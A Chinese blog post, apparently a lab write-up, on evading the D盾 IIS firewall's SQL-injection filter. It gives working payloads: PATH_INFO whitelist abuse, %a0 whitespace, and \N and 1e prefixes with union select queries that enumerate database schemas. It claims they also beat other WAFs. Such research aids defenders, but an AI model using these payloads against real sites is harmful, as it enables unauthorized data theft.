开发者社区> bypass> 正文

Bypass D盾_IIS防火墙SQL注入防御(多姿势)

简介: 0X01 前言   D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。
+关注继续查看

0X01 前言

  D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路:

a、白名单   b、绕过union select或select from的检测

  

0X02 IIS+PHP+MYSQL

  搭建这个window2003+IIS+php+mysql,可花费不少时间,测试过程还蛮顺利的,先来一张拦截图:

 

绕过姿势一:白名单

PHP中的PATH_INFO问题,简单来说呢,就是

http:/x.x.x.x/3.php?id=1       等价于          http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1 

从白名单中随便挑个地址加在后面,可成功bypass,http://10.9.10.206/3.php/admin.php?id=1  union select 1,2,schema_name from information_schema.SCHEMATA

经测试,GET、POST、COOKIE均有效,完全bypass

绕过姿势二:空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

 测试了一下,基本上针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。

id=1  union%a0select 1,2,3 from admin

绕过姿势三:\N形式

主要思考问题,如何绕过union select以及select from?

如果说上一个姿势是union和select之间的位置的探索,那么是否可以考虑在union前面进行检测呢?

为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。

id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)

 

0X03 IIS+ASP/ASPX+MSSQL

  搭建IIS+ASP/ASPX+MSSQL环境,思路一致,只是语言与数据库特性有些许差异,继续来张D盾拦截图:

绕过姿势一:白名单

ASP: 不支持,找不到路径,而且D盾禁止执行带非法字符或特殊目录的脚本(/1.asp/x),撤底没戏了

   /admin.php/../1.asp?id=1 and 1=1    拦截

   /1.asp?b=admin.php&id=1 and 1=1 拦截,可见D盾会识别到文件的位置,并不是只检测URL存在白名单那么简单了。。。

ASPX:与PHP类似  /1.aspx/admin.php?id=1   union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass

绕过姿势二:空白字符

  Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

  [0x01-0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下?

ASP+MSSQL:  不支持%a0,已放弃。。。

ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测

 id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES

 绕过姿势三:1E形式

  MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。

  只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES

 

0X04 END

  不同语言,中间件,数据库,所对应的特性有些差异,思路却一致,实践出真知,只要动手去探索,还有更多姿势等待被挖掘。

  目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

  关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
34 0
分享一个SQL的bypass小案例
分享一个SQL的bypass小案例
33 0
【网络安全】——sql注入之云锁bypass
sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,前天我们实战了安全狗的WAF,今天先来看看比它难度更高的云锁WAF,你会绕吗?看我带你将它拿下
92 0
【网络安全】——sql注入之奇淫巧技bypass(持续更新中)
SQL注入bypass一直是个技术活,技巧也非常多,但有些技巧不是一直都好用的,所以写下这篇博客来记录我自己认为的平时比较好用的bypass技巧,都是经过了实战渗透检测的,目前内容较少,会实时更新,建议收藏
93 0
网络安全——SQL注入之安全狗bypass深度剖析
sql注入不会绕过WAF?关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下
116 0
【网络安全】——sql注入之bypass深度剖析
本文分享了我自己总结的常规sql注入常规操作步骤,足够在日常sql渗透测试时使用,适合一些对渗透测试流程不是特别清晰的同学观看,会不定期更新并完善内容
187 0
MySQL企业版之Firewall(SQL防火墙)
MySQL企业版之Firewall(SQL防火墙)
46 0
MySQL企业版之Firewall(SQL防火墙)
MySQL企业版之Firewall(SQL防火墙)
109 0
Eyc
SQL防火墙使用说明与内核浅析
## 背景简介 SQL注入通常是业务层做的事情,例如使用绑定变量,使用关键字过滤等手段,避免被SQL注入。SQL防火墙便是数据库层面的防火墙功能。该插件可以用来学习一些定义好的SQL规则,并将这些规则储存在数据库中作为白名单。当用户学习完成后,可以限制用户执行这些定义规则之外的风险操作。 ## 使用说明 ### 认识学习模式,预警模式与防火墙模式 ![image.png](https:
308 0
CloudDBA新功能上线--SQL过滤/限制/防火墙
前言 CloudDBA是阿里云数据库团队开发的智能诊断和优化平台,可以帮助用户更好使用阿里云数据库。CloudDBA不断提升算法和规则,更好的匹配更多用户场景,刚刚上线了SQL过滤功能,用来解决某类SQL给系统带来的冲击。
2624 0
+关注
bypass
一个网络安全爱好者
文章
问答
视频
文章排行榜
最热
最新
相关电子书
更多
时序数据库TSDB的SQL与流计算
立即下载
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
相关实验场景
更多